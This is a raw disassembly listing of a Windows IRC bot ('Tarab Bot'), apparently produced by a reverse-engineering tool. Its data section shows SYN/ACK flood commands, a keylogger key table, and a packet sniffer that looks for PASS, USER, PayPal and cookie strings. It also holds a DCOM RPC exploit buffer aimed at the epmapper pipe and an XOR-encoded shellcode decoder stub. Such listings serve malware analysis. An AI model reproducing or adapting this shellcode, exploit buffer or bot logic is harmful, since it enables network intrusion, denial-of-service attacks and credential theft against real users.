		dw 0FCh
aGenerateconsol	db 'GenerateConsoleCtrlEvent',0
		align 2
		dw 2D7h
aRtlunwind	db 'RtlUnwind',0
		dw 1E2h
aGettimezoneinf	db 'GetTimeZoneInformation',0
		align 4
		db 0C8h	; È
		db 1, 47h, 65h
aTsystemtime	db 'tSystemTime',0
		db  1Ah
		db 2, 48h, 65h
aAprealloc	db 'apReAlloc',0
		dw 1B7h
aGetstartupinfo	db 'GetStartupInfoA',0
		db  10h
		db 1, 47h, 65h
aTcommandlinea	db 'tCommandLineA',0
		dw 1E8h
aGetversion	db 'GetVersion',0
		align 4
		db  58h	; X
		db 1, 47h, 65h
aTenvironmentva	db 'tEnvironmentVariableA',0
		dw 214h
aHeapdestroy	db 'HeapDestroy',0
		db  12h
		db 2, 48h, 65h
aApcreate	db 'apCreate',0
		align 2
		dw 383h
aVirtualfree	db 'VirtualFree',0
		db  81h	; 
		db 3, 56h, 69h
aRtualalloc	db 'rtualAlloc',0
		align 4
		db  36h	; 6
		db 2, 49h, 73h
aBadwriteptr	db 'BadWritePtr',0
		db 0A7h	; §
		db 2, 52h, 61h
aIseexception	db 'iseException',0
		align 2
		dw 21Ch
aHeapsize	db 'HeapSize',0
		align 2
		dw 244h
aLcmapstringa	db 'LCMapStringA',0
		align 2
		dw 245h
aLcmapstringw	db 'LCMapStringW',0
		align 2
		dw 104h
aGetcpinfo	db 'GetCPInfo',0
		dw 0FDh
aGetacp		db 'GetACP',0
		align 10h
		db  93h	; “
		db 1, 47h, 65h
aToemcp		db 'tOEMCP',0
		align 4
		db  6Eh	; n
		db 3, 55h, 6Eh
aHandledexcepti	db 'handledExceptionFilter',0
		align 4
		db 0F6h	; ö
		align 2
aFreeenvironmen	db 'FreeEnvironmentStringsA',0
		dw 0F7h
aFreeenvironm_0	db 'FreeEnvironmentStringsW',0
		db  55h	; U
		db 1, 47h, 65h
aTenvironmentst	db 'tEnvironmentStrings',0
		db  57h	; W
		db 1, 47h, 65h
aTenvironment_0	db 'tEnvironmentStringsW',0
		align 2
		dw 324h
aSethandlecount	db 'SetHandleCount',0
		align 10h
		dd 654701B9h, 64745374h, 646E6148h, 656Ch, 65470166h, 6C694674h
		dd 70795465h, 1BA0065h,	53746547h, 6E697274h, 70795467h
		dd 4165h, 654701BDh, 72745374h,	54676E69h, 57657079h, 3370000h
		dd 53746553h, 61486474h, 656C646Eh, 0EE0000h, 73756C46h
		dd 6C694668h, 66754265h, 73726566h, 34A0000h
aSetunhandledex	db 'SetUnhandledExceptionFilter',0
		db  33h	; 3
		db 2, 49h, 73h
aBadreadptr	db 'BadReadPtr',0
		align 4
		db  30h	; 0
		db 2, 49h, 73h
aBadcodeptr	db 'BadCodePtr',0
		align 4
		db  10h
		db 3, 53h, 65h
aTendoffile	db 'tEndOfFile',0
		align 4
		db ':',0
aComparestringa	db 'CompareStringA',0
		align 2
		db ';',0
aComparestringw	db 'CompareStringW',0
		align 4
		db  13h
		db 3, 53h, 65h
aTenvironment_1	db 'tEnvironmentVariableA',0
aKernel32_dll	db 'KERNEL32.dll',0
		align 10h
		dd 0F8h	dup(0)
dword_425000	dd 0			; DATA XREF: sub_4197B8+1Fo
		dd offset sub_4030A2
		dd offset sub_4047E1
		dd offset sub_404803
dword_425010	dd 0			; DATA XREF: sub_4197B8+1Ao
dword_425014	dd 0			; DATA XREF: sub_4197B8+10o
		dd offset sub_418382
		dd offset sub_41EA1C
		dd offset sub_41F76E
		dd offset sub_4205E0
dword_425028	dd 0			; DATA XREF: sub_4197B8:loc_4197C3o
dword_42502C	dd 0			; DATA XREF: sub_419807+65o
		dd offset sub_41F813
dword_425034	dd 0			; DATA XREF: sub_419807:loc_419867o
dword_425038	dd 0			; DATA XREF: sub_419807+76o
		dd offset sub_4205F1
dword_425040	dd 4 dup(0)		; DATA XREF: sub_419807:loc_419878o
dword_425050	dd 72023602h, 28201F62h, 736F6464h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401000+5Bo
		dd 2BBBB02h
aTarabBotDoneWi	db ' Tarab Bot   Done with flood (%iKB/sec).',0
		align 4
dword_425094	dd 72023602h, 28201F62h, 736F6464h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_4010B2+31Ao
		dd 2BBBB02h
aTarabBotSendEr	db ' Tarab Bot   Send error: <%d>.',0
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_4010B2:loc_4011DEo
					; sub_40EC43+25E5o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_4010B2:loc_4011C2o
					; sub_40EC43+25CEo
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_4010B2+F1o
					; sub_40EC43+25B7o
		align 10h
unk_4250F0	db    2			; DATA XREF: sub_401444+390o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPa	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 10h
unk_425150	db    2			; DATA XREF: sub_401444+326o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithSFlood	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 10h
unk_4251B0	db    2			; DATA XREF: sub_401444+12Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidTargetI	db '  Invalid target IP.',0
		align 10h
unk_4251E0	db    2			; DATA XREF: sub_401444+C2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSetsockop	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
unk_425228	db    2			; DATA XREF: sub_401444+49o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSocketFai	db '  Error: socket() failed, returned: <%d>.',0
		align 4
aSupersynDoneWi	db '[SUPERSYN]: Done with flood (%iKB/sec)',0 ; DATA XREF: sub_40182F+48o
		align 4
unk_425294	db    2			; DATA XREF: sub_4019C8+48o
		db 6Eh,	2, 72h
		db  62h	; b
		db 1Fh,	20h, 28h
		db  73h	; s
		db 79h,	6Eh, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDoneWithFloodI	db ' Done with flood (%iKB/sec).',0
		align 4
dword_4252CC	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401A64+295o
		dd 2BBBB02h
aSendErrorD_	db '  Send error: <%d>.',0
dword_4252F8	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D6D+4E4o
		dd 2BBBB02h
aErrorSending_0	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
dword_425358	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D6D+471o
		dd 2BBBB02h
aDoneWithSFlo_0	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
aRandom		db 'random',0           ; DATA XREF: sub_401D6D+2FDo
					; sub_40EC43+2BFCo ...
		align 10h
aAck		db 'ack',0              ; DATA XREF: sub_401D6D+2DDo
					; sub_40EC43+2BE5o
aSyn		db 'syn',0              ; DATA XREF: sub_401D6D+2BDo
					; sub_40EC43+2BCDo
dword_4253C8	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D6D+15Fo
		dd 2BBBB02h
aInvalidTarge_0	db '  Invalid target IP.',0
		align 4
dword_4253F8	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D6D+EEo
		dd 2BBBB02h
aErrorSetsock_0	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 10h
dword_425440	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D6D+70o
		dd 2BBBB02h, 72452020h,	3A726F72h, 636F7320h, 2874656Bh
		dd 61662029h, 64656C69h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 0
		dd 8
dword_42548C	dd 62h,	62000000h, 2 dup(0) ; DATA XREF: sub_402394:loc_402477o
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_425BBC	dd 38h,	38000000h, 2 dup(0) ; DATA XREF: sub_402394+2AAo
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_425BF4	dd 7A026E02h, 201F6D1Fh, 79656B28h, 2E676F6Ch, 1F6C1F70h
					; DATA XREF: sub_4022B5+ACo
		dd 2202967h, 2002BBBBh,	732520h
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_4022B5+86o
		align 10h
aAb		db 'ab',0               ; DATA XREF: sub_4022B5+4Eo
					; sub_40EC43+2AAAo
		align 4
asc_425C34:				; DATA XREF: sub_4022B5+2Co
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0 ; DATA XREF: sub_402394+21Co
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_402394+1D9o
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_402394+8Fo
		align 10h
off_425C80	dd offset dword_4264F8	; DATA XREF: sub_402669+29Er
		dd offset off_4264F4
		dd offset aFtp		; "FTP"
		dd offset aHttp		; "HTTP"
dword_425C90	dd 6F6C2E3Ah, 6E6967h, 3 dup(0)	; DATA XREF: sub_402669+1DEo
dword_425CA4	dd 0			; DATA XREF: sub_402669+297r
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp		db 'HTTP',0             ; DATA XREF: .data:00425C8Co
		align 10h
aFtp		db 'FTP',0              ; DATA XREF: .data:00425C88o
off_4264F4	dd offset aLedThreadS_	; DATA XREF: .data:00425C84o
					; "led thread: %s."
dword_4264F8	dd 544F42h, 0		; DATA XREF: .data:off_425C80o
unk_426500	db    2			; DATA XREF: sub_402669+2FCo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorRecvFaile	db 'Error: recv() failed, returned: <%d>',0
		align 8
unk_426548	db    2			; DATA XREF: sub_402669+2ABo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aSuspiciousSPac	db 'Suspicious %s packet from: %s:%d - %s.',0
		align 4
aPsniff		db '[PSNIFF]',0         ; DATA XREF: sub_402669+236o
		align 4
unk_426598	db    2			; DATA XREF: sub_402669+186o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorWsaioctlF	db 'Error: WSAIoctl() failed, returned: <%d>.',0
		align 10h
unk_4265E0	db    2			; DATA XREF: sub_402669+103o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorBindFaile	db 'Error: bind() failed, returned: <%d>.',0
		align 8
unk_426628	db    2			; DATA XREF: sub_402669+85o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSocketF_0	db 'Error: socket() failed, returned: <%d>.',0
		align 10h
dword_426670	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: sub_402DB1+DEo
					; sub_402DB1+21Bo
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_4266C0	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_402B61+120o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_426A24	dd 20h,	0		; DATA XREF: sub_402B61+133o
		dd 20h,	5C005Ch, 0
off_426A38	dd offset off_43005C	; DATA XREF: sub_402B61+15Ao
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		align 8
dword_426A78	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_402B61+171o
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx:			; DATA XREF: sub_402B61+45o
		unicode	0, <FXNBFXFXNBFXFXFXFX>
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
dword_426B88	dd 18759Fh		; DATA XREF: sub_402B61+101o
dword_426B8C	dd 100139Dh		; DATA XREF: sub_402B61+F8o
asc_426B90:				; DATA XREF: sub_4029C8+1Co
					; sub_402AAB+16o
		unicode	0, <\\>,0
		align 4
off_426B98	dd offset dword_49005C	; DATA XREF: sub_4029C8+Co
					; sub_402AAB+Bo
		dd offset off_430050
		dd 24h
unk_426BA4	db    2			; DATA XREF: sub_402DB1+299o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTransferComple	db '  transfer complete to IP: %s',0
		align 4
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_402DB1+41o
		align 10h
		jmp	short loc_426C02

; =============== S U B	R O U T	I N E =======================================



sub_426BF2	proc far		; CODE XREF: sub_426BF2:loc_426C02p
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h

loc_426BFA:				; CODE XREF: sub_426BF2+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_426BFA
		jmp	short loc_426C07
; ---------------------------------------------------------------------------

loc_426C02:				; CODE XREF: .data:00426BF0j
		call	near ptr sub_426BF2

loc_426C07:				; CODE XREF: sub_426BF2+Ej
		jo	short loc_426C6B
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_426C89
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]

loc_426C6B:				; CODE XREF: sub_426BF2:loc_426C07j
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------

loc_426C89:				; CODE XREF: sub_426BF2+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
